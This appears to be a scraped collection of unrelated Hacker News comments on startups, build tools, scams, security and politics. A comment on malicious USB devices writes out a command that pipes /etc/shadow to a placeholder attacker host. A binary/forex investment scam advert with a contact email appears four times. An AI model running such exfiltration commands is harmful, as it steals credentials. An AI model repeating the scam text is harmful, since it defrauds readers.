skysight-inc/HackerNews huggingface dataset:
This is another real issue I've seen in some places, especially regions that are trying to "do" tech, but where it doesn't come naturally.

It hurts me to watch systems full of broken incentives emerge and have money thrown into them repeatedly - there's "tech startups" (which would be laughed out of the valley due to their head-count and lack of any product market fit) receiving large ongoing subsidies to their payrolls while they slowly pretend to iterate on a product, all because they have "created" an agreed number of jobs, and need to keep those chairs full.

Europe on the whole doesn't have a culture of taking the same level of risks with capital, and there's a real push to fund things that are "safe" and help cover up weaknesses in the market - funding a company to hire people into basic tech roles at below-market pay helps to reduce graduate unemployment, which covers up the fact their education isn't giving them the right skills. That's pleasing to government.

On the other hand, giving 1m EUR to a small company with low head-count but a great idea could be a game-changer, and lead to far greater longer-term gains, but any government funding like this would be accompanied by so much red tape that you'd spend half of the 1m EUR on satisfying the monitoring requirements of the grant, attending monthly external progress review meetings, defending your progress to agreed (and inflexible) milestones etc.

That last point is perhaps the killer for innovation - most of the innovation funding schemes I've seen require detailed project plans before receive a cent of funding, and then hold you rigorously to that plan. Need to pivot? Welcome to the multi-page "change request form", which must be approved by a panel of non-technical bureaucrats before you can dare to change direction. They'll get back to you within 3 months, until which time you should continue with your original plan, as you will still be judged by your previous milestone payment plan. Your idea not working? That's not an acceptable outcome - you simply must deliver what you said! Failure is not welcome, you must deliver exactly what you said, else they will complain you are causing them to under-spend by the end of the financial year (as they now won't pay you!)...
They just put the text in a local equivalent to Google Translate and that's it, no proofreading etc. There's a famous restaurant sign in China that says "Translation server error" on it: https://www.seriouseats.com/2008/07/translate-server-error-r...

There was an early translation program in China that was both popular and notoriously bad. For example, the simplified character 干 has a number of meanings, most commonly "dry", but the program would always pick "fuck" -- the end result being supermarket aisles with signs saying "Fuck Goods" and restaurants offering dishes like "Duck Fuck Noodles". Engrish.com (sic) has a whole category for these:

https://www.engrish.com/category/adult-engrish/
> Some people will say well, X language is so good you can just write an SDK yourself in a weekend! To which I must reply, no.

This is what has me contemplating moving away from Elixir. The top three web back-end languages, judging by the availability of certain SDKs, seem to be Python, Java, and JS (via Node). Now I just have to choose between those three, for a full-stack, mostly server-rendered, web app.
Go and talk with the people who wrote it. Often times there are a just a handful of people that wrote a lot of the core functionality, they often aren't the most social. Talk to them when you are in the planning phase of implementing something.

Lots of great advice here that I agree with. IMHO though I see a lot of engineers miss on the team and social aspects of coding. Just as important as your tech stack is your team. Have an idea for improving something? That's great, but remember to listen first and learn to love what is great about the way it is. For you it could be X% better for the original authors it is a miracle that they made it work at all and it is important enough to need a bigger team.
Google Safe Browsing can kill a startup
For those who aren't familiar, Tom Looman is a legend in the Unreal community. He has given back so much with his Udemy course and constantly helps people out with their projects. His YouTube channel is also a goldmine of information and awesome livestreams.
My only point is that she is a journalist working for a reputable news agency for 21 years. Her job was to fact check everything. This means that a lot of things she told in the media before should be taken with a pinch of salt.
BINARY / FOREX OPTIONS STRATEGY .. ??????
Are you trying so hard to get a good and reliable account manager and a good broker to invest with?...you dont have to give up on yourself because when there is life there is hope...our good strategy which will earn you good profits in just a week with a minimum of $500 you can start something for your self
Invest $500 earn $4,200 weekly
Invest $700 earn $5,000 weekly
Invest $800 earn $5,600 weekly
Invest $1,000 earn $9,000 weekly
HERE'S AN AMAZING ADVICE
1. If you are not allowed to make Weekly withdrawals, It's a SCAM.
2. If you are not allowed to make withdrawals by yourself, it's a big SCAM.
3. If you are not allowed to login and monitor trades from your end, then it's a SCAM.
4. If you are told to pay for any software activation key, it's a SCAM.
5. There are so many fake brokers be careful.
Feel Free to inbox me via rollandgreg8@gmail.com if you are interested for More details.
What insurrection? Some larpers keeping inside the ropes are not insurrectionists.
Ask HN: Does privacy really matter that much?
I used to be extremely protective of my privacy, whether online or offline. However, over the years, I sort of lost the zeal to protect my privacy at any cost. And so far, it never made much difference one way or another. But since I often read horror stories and scenarios with respect to this, I wonder, how many people actually ever get negatively impacted by the loss of privacy?
LitElement checks all those boxes: https://lit-element.polymer-project.org/
What tools did you use to build your wiki? Sounds very useful.
Social media has purposefully censored such people, for example YouTubers having to use phrases like “beer bug” to refer to COVID or “the nameless party” to refer to Amber Heard — or face the censor bots. Automated narrative enforcement is built into platforms like YouTube already.

Dave Rubin might be a good option; he’s a former Democrat and what I’d describe as “mild right”.
Coincidentally, I just ordered this book seconds ago. I've also heard only good things about it!
Also, it was quite buggy at times.
Many if not most MOOCs certainly lack depth, maybe the problem is in M part?
Sometimes they feel like an ad
When someone does not understand basic tool which is used by most Java developers and that person writes book on that language, that's makes me very surprised. Obviously that person does not have any practical experience with Java, because there's no way you wouldn't stumble onto Gradle or Maven if you're writing real world code in Java.

I guess, that book writing skill is more important in writing good books, than programming skill.
This scam sounds frighteningly sophisticated. I really feel bad for people who get caught up in things like this.

To get strung along for over a year, throwing away that much time and energy, must feel devastating.
Probably about 1/6. That would explain how I take one for 5 minutes and yet somehow half an hour has passed when I get out.
Matt Taibbi is outstanding.
Example: https://taibbi.substack.com/p/we-need-a-new-media-system
why wont you report them? is nobody interested in securing these?
This is interesting, but like most honeypot discussion kinda melodramatic. They got scanned by a bunch of known internet scanners, and a few mysteries including a "store that sells weaponry" (which turns out to just be scopes and red dots -_-). It's always good to people reporting that they discovered nothing, but it is a bit boring.
Whenever I'm changing jobs, I spend at least half my time worried sick that I'm being scammed somehow. Until now, the "rational" part of my mind thought this was very silly, but I think this goes to show that it's a legitimate concern.

The fact of the matter is that when joining a new institution one lacks the contacts and the context to discern normal institutional behavior because it so often deviates from (seemingly) ordinary, sane human behavior even when nothing is wrong. Having autism, no part of my mind is naturally attempting to cover up this discrepancy: it remains jarring until I manage to "manually" reset expectations.
It's a neat idea, but this edge case makes it seem a lot like the "arbitrary precision" version of Option 2 except slightly worse on all counts. You're taking up more storage and the inserts are a lot less elegant.

Also, what about when you want to initialise a list with more than 30 elements? Do you get to "z" then continue with "za", "zb"... ?
>>> vignettes for Seurat are the place to start

Wow, incredible resource! Thanks for linking it up. Looks like the raw dataset is compact enough to run experimental inference right on your laptop ;)

A somewhat related, but certainly left-field question: is there a similar tutorial / library for exploring the frontiers of quantum computing and neuroscience?

Quantum Computing at the Frontiers of Biological Sciences

https://arxiv.org/abs/1911.07127
BINARY / FOREX OPTIONS STRATEGY .. ??????
Are you trying so hard to get a good and reliable account manager and a good broker to invest with?...you dont have to give up on yourself because when there is life there is hope...our good strategy which will earn you good profits in just a week with a minimum of $500 you can start something for your self
Invest $500 earn $4,200 weekly
Invest $700 earn $5,000 weekly
Invest $800 earn $5,600 weekly
Invest $1,000 earn $9,000 weekly
HERE'S AN AMAZING ADVICE
1. If you are not allowed to make Weekly withdrawals, It's a SCAM.
2. If you are not allowed to make withdrawals by yourself, it's a big SCAM.
3. If you are not allowed to login and monitor trades from your end, then it's a SCAM.
4. If you are told to pay for any software activation key, it's a SCAM.
5. There are so many fake brokers be careful.
Feel Free to inbox me via rollandgreg8@gmail.com if you are interested for More details..
BINARY / FOREX OPTIONS STRATEGY .. ??????
Are you trying so hard to get a good and reliable account manager and a good broker to invest with?...you dont have to give up on yourself because when there is life there is hope...our good strategy which will earn you good profits in just a week with a minimum of $500 you can start something for your self
Invest $500 earn $4,200 weekly
Invest $700 earn $5,000 weekly
Invest $800 earn $5,600 weekly
Invest $1,000 earn $9,000 weekly
HERE'S AN AMAZING ADVICE
1. If you are not allowed to make Weekly withdrawals, It's a SCAM.
2. If you are not allowed to make withdrawals by yourself, it's a big SCAM.
3. If you are not allowed to login and monitor trades from your end, then it's a SCAM.
4. If you are told to pay for any software activation key, it's a SCAM.
5. There are so many fake brokers be careful.
Feel Free to inbox me via rollandgreg8@gmail.com if you are interested for More details...
BINARY / FOREX OPTIONS STRATEGY .. ??????
Are you trying so hard to get a good and reliable account manager and a good broker to invest with?...you dont have to give up on yourself because when there is life there is hope...our good strategy which will earn you good profits in just a week with a minimum of $500 you can start something for your self
Invest $500 earn $4,200 weekly
Invest $700 earn $5,000 weekly
Invest $800 earn $5,600 weekly
Invest $1,000 earn $9,000 weekly
HERE'S AN AMAZING ADVICE
1. If you are not allowed to make Weekly withdrawals, It's a SCAM.
2. If you are not allowed to make withdrawals by yourself, it's a big SCAM.
3. If you are not allowed to login and monitor trades from your end, then it's a SCAM.
4. If you are told to pay for any software activation key, it's a SCAM.
5. There are so many fake brokers be careful.
Feel Free to inbox me via rollandgreg8@gmail.com if you are interested for More details....
Yeah, after all nation-states only started to show up after the invention of printing, so the current USA is already the size it is because it can be controlled with modern means of information and warfare.
So all the traffic is various indexing companies and none of them made an effort to contact the author? What if, you know, the guys pretending to be good are actually just baddies selling out?
That's about right. I wouldn't call Next a "backend framework", it's an SSR framework.

SSR means that it runs on a server (of course), so it's not too hard to expose basic server functionalities for when you just need a basic endpoint, but you wouldn't want to build a backend on that. It's more akin to dropping a PHP file on a server because you just need a bit of code to run server-side (ie to do some auth with a 3rd party without exposing an API key to the frontend).
My understanding is that the OS can't differentiate a malicious USB stick from a USB keyboard.

In particular, the keyboard could be typing "sudo cat /etc/shadow | telnet bad.com 80"...
I had a similar thought: I would be more and more suspicious the longer I didn’t get an email from an @harvard.edu email.
I find that very nice: last arrived on a project (on a similar role) will setup a working environment for the next one to start with. It fresh enough that you remember it, and you could even find interesting to clean up a little.
Being an Effective Tech Lead
> barring any large scale and unforeseeable changes to our digital media environment.

#AbolishCopyright. Truth is nature's natural state. It wasn't until symbols were invented that we got lies. But information in the long run likes to settle into true states. Copyright slows down the spread of truth and makes it harder for information to resolve into true states.

When lies have it so easy, you see the catastrophic effects like we did on January 6th.
Could you set your Signal profile picture? It makes the app feel more human
I don't understand why Gradle breaks every second time I build my project, and I have to run Clean Project.

If Clean Project is required to build the project, why isn't that part of the build process?
I'm wondering, given how threat actors normally behave when intruding into networks, do you also have honey user credentials in the network?

I don't imagine you're catching many serious attackers just by exposing fake servers vulnerable to MS17 for example.

Could you explain more about your strategies and which types of attackers you can say you'd catch with surety?
pseudo intellectual drivel. at what point do people finally realize that "thought pieces" on substack just don't mean shit in the real world?

this is what Lenin would have derided as "bourgeoise intellectualism"...sitting in your herman miller chair, sipping craft bourbon, writing postmodern pablum on your M1 macbook....wow feel the winds of change
The semantics described in the article go further than a single mutex, so they can't use just pthread or just flock.

I wonder if using a pthread mutex in shared memory is faster than flock'ing the file (I'd assume yes, though I don't know if significant).
Genuine question: in what sort of setup do you have a single build for your frontend and backend?
Can't anyone say anything negative even if it makes sense?
It has an instruction set where the instructions are independent of the size of the register. It's easier to look some videos about it on YouTube than to explain it actually.
Meet the new Medium.com. Exactly the same as the old Medium.com.
Facial recognition technology can expose political orientation from face images
There's multiple translations of the closing dialog in Breathless. (Of course, even the English title isn't a literal translation of À bout de souffle—that would be Out of Breath.)

https://en.m.wikipedia.org/wiki/Breathless_(1960_film)#Closi...
:) I was thinking more that this was covered in The Diamond Age (Neil Stephenson) with phyles
Then there is Jenkins. I looked at the jenkinsfile and said "I guess Java and Python had a tryst?"

Eventually we'll get to the GitLab CI/CD, but the existing disaster supports the status quo, so it's not a priority.
This is the class that made my career. The idea that humanities sorts of skills – critical reading, analysis, discussion — could contribute to the work of systems engineering was a revelation. That I had the knack for it, and that it turns out to be the core work of engineering, I found later.

The THERAC paper, the X11 paper, the Kerberos sequence—still resonate 22 years later. But the big lesson wasn’t in any of the papers, but in the structure as it communicated that engineering was not a solitary enterprise.
Nobody is perfect and can have both good and bad work. I think Matt is a very gullible person who has bought into many conspiracy theories, some of which are Russian propaganda unfortunately
Do we have negative prime numbers?
A biomedical scientist probably has a good base in proteomics already, learning the ins and outs of the tools used for research would be the best option for a bio scientist wanting to get into the computational side of things.
...You then don't show any links (or any results at all)
I recently discovered Axios and have been very impressed with them so far. They are the closest I've seen to the type of news coverage I'm looking for. You can see a summary of their approach here: https://www.axios.com/about/ They stick to the facts and refrain from opinion. For example:

> 3. Every item will be written or produced to inform, analyze and explain. Axios will never be a platform for incitement or argument. We will never have an opinion section.
Maybe taking notes helps me recall things and maybe it doesn't. And maybe writing them gives me better recall than typing and maybe it doesn't.

But, yeah. I rake notes to remember things I need to do, to capture some key points, or to be able to "play back" a meeting/talk/etc. to others in either verbal or written form. This is one reason I usually type notes for anything that I'll want to play back in any detail; it's faster and easier to capture more or less verbatim than writing notes by hand. To the degree that recall is helped, I find it's mostly by "processing" the notes in some form.
This is a much more practical answer. Point #1 seems exactly right.

Even without modern SQL arrays one could even keep references to place, per user, in a simple comma separated text field and munge it in code. Elegant? Probably not. But perhaps more practical then some of the approaches presented.

But modern SQL does have arrays.
I agree. When I was a kid I had a camera that had an 'easy mode' in software. If you turned it on, the software would disable most advanced features and the UI would be something incredibly simple. This allowed me a complete novice to get started taking pictures. After some experience I turned the setting off and started to experiment with more advanced features without getting overwhelmed.
I always wondered why not more products adopted this type of UX.
This very much lines up with my experience.

A long time ago I wrote a Maven plugin and decided to clean it up for open source. It got absolutely nowhere because after everything you describe—setting up a repo; learning the Maven API, which is one of those expansive APIs that has a lot of metaphoric semantic constructs—distributing it involved getting it into Maven Central by which point I had run out of time/mental bandwidth and never made it happen.

Compare if I had been using Gradle at the time: I would have just coded it up in Groovy, a language I thoroughly enjoy, right there in setup. There are some things I don't like about Gradle, but there's a lot it has going for it, too. Personally, I like XML and enjoy Maven for situations where existing plugins are enough—which is 99% of the time—but that lack of flexibility can be constraining when existing plugins aren't enough.
I didn’t see this in the article but I was surprised to see how many insurrectionists had their phones out streaming video while committing a crime.

It struck me that the instinct to show off to online followers is more powerful than the instinct to hide from the consequences of the crime.

In that sense, the promise of online notoriety seemed to propel the mob as much as, or more than, any deeply held ideology.
Can substack offer editors? This long piece really felt like it was written in one pass.
It's a tantrum, he'll probably come to his senses a few days later. And then those issues can be cleaned up.
He specifically mentions that Greeks are a better comparison than Romans because their citizens were less militarized.
Beta readers/listeners. Sometimes I just want to have someone take a look or listen at something I made to see if my familiarity with it obscures a glaring flaw. Getting people who say they want to to actually follow through is often a blocking struggle.
Angular vs. React – The Deal Breaker
First Winter Summit on K2
Taibbi openly says that Trump is incompetent and is taking advantage of his idiot supporters. I doubt that Trump supporters will consider him objective.
It's more of a systemic problem. We don't have this problem with bluetooth or wifi because it uses encryption and individual keys. But usb is unencrypted with no secure identification mechanism.
> In January 2020, I got an email from an alleged Harvard Human Resources person from what appeared to be an official Harvard email ID,

it would have been interesting if she would have shared exactly what that email address was. Was it hr@harvard.com or maybe hr@harverd.com? I doubt that it was hr@<something>.edu since it is hard to register .edu domains. But if someone did, that would be news to me.
The common pattern one sees in such over-engineered mortgage projects is that they usually have a cool-name, even though they are internal use only.

I guess this is because of the hope for it getting open sourced and the dev becoming famous. Also, the less experienced people are, the more they are thinking that they are breaking new grounds.
This was my experience with Risk of Rain 2, too. Couple that with the ~40-60 minutes it takes to get back to the point where you are seemingly out-scaled by the game (of course due to my lack of knowledge) but it was a frustrating experience and one that caused myself and my friends to give up after a while.
It doesn't matter. You can compromise most of the phones (at least non rooted) if you or your people make the OS and thus also the OS level libraries that handle Text input from the IME, or even touchscreen information would be enough in most cases (unless everyone uses the randomized keyboard layout, and guard against "known plaintext" type attacks)
The article states that all the emails appeared to be from official Harvard email addresses.

At some universities, it’s possible to create email aliases at your .edu domain, so it’s possible that the scammer had access to one or more convincing email addresses.
> Wuhan is a big city so probably most of them!!

Well, that's the argument I've heard on HN for the last year, and the only one sanctioned to avoid super-downvotes.
This was the most impactful class I took at MIT.

Of every class I took, the lessons from this class have helped me the most in the real world.

Algorithms, though heavily covered in lame interview tests, pale in significance to the benefit of understanding how to architect systems at a high-level.

And a knowledge of how existing computer infrastructure and platforms are architect-ed (DNS, Ethernet, etc.) provides a deep pool of successful, tested concepts for whatever new system is being built.

Highly recommend completing this course via OCW if you want to improve as an engineer.
How do we establish trust in a virtual world? There are a lot of cues in an meatspace social interaction that can trigger a “gut reaction” one way or another on trust. In digital interactions it’s significantly easier to be social engineered.